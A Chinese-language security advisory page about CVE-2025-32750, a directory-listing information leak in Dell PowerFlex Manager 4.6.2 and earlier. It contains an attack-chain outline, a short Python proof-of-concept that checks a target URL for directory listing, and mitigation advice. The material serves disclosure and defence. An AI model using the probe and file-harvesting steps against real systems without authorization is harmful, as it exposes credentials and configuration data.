CVE-2025-32750 CVSS 7.5 高危

CVE-2025-32750 Dell PowerFlex Manager信息泄露漏洞

披露日期: 2026-05-20

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-32750

漏洞类型

信息泄露

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Dell PowerFlex Manager

漏洞概述

Dell PowerFlex Manager 版本 4.6.2 及之前版本存在严重的信息泄露漏洞。该漏洞是由于系统配置不当，导致开启了目录列表功能，使得敏感文件和目录结构暴露。未经身份认证的远程攻击者可利用此漏洞，无需用户交互即可通过网络访问系统敏感目录，进而获取关键配置信息或数据。鉴于该漏洞利用门槛低且对机密性影响高，建议管理员尽快评估风险并应用官方补丁。

技术细节

该漏洞属于典型的“通过目录列表导致的信息泄露”类漏洞。在受影响的 Dell PowerFlex Manager 版本中，Web 服务器或应用程序接口未正确禁用目录浏览功能。当攻击者向特定目录发送 HTTP GET 请求时，若该目录下不存在默认的索引文件（如 index.html），服务器不会返回 403 Forbidden 错误，而是返回包含该目录下所有文件和子文件夹列表的 HTML 响应。根据 CVSS 向量（AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N），攻击者无需任何权限即可发起攻击。攻击者可通过分析目录结构，下载敏感文件（如配置文件、日志文件、备份文件等），从而获取系统内部的凭证或敏感业务数据。虽然此漏洞不影响数据的完整性和系统的可用性，但泄露的信息常被用于后续的高级持续性威胁（APT）攻击或横向移动。

攻击链分析

STEP 1

侦察与发现

攻击者使用网络扫描工具识别互联网上暴露的 Dell PowerFlex Manager 管理接口。

STEP 2

发送探测请求

攻击者无需认证，直接向目标服务器的特定路径发送 HTTP GET 请求，尝试触发目录列表功能。

STEP 3

信息收集

服务器返回目录内容列表。攻击者解析响应，识别敏感文件名（如 .config, .log, .bak 等），并构造 URL 下载这些文件以获取凭证或敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit Title: Dell PowerFlex Manager Information Exposure through Directory Listing
# Date: 2025-05-20
# CVE: CVE-2025-32750

_target_url = "http://target-ip:port/vulnerable-directory"  # Replace with actual target URL

def check_directory_listing(url):
    try:
        response = requests.get(url, timeout=10)
        # Check if server returns directory listing indicators
        if "Index of /" in response.text or "Directory Listing for" in response.text:
            print(f"[+] Vulnerability confirmed at: {url}")
            print(f"[+] Response snippet:\n{response.text[:500]}")
        else:
            print(f"[-] Directory listing not enabled or path invalid at: {url}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to {url}: {e}")

if __name__ == "__main__":
    check_directory_listing(_target_url)

影响范围

Dell PowerFlex Manager <= 4.6.2

防御指南

临时缓解措施

在无法立即升级的情况下，建议通过网络防火墙或安全组策略，严格限制对 Dell PowerFlex Manager 管理端口的访问来源 IP。同时，检查 Web 服务器配置（如 Nginx 的 autoindex off 或 Apache 的 Options -Indexes），确保所有敏感目录均已关闭目录列表显示功能。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表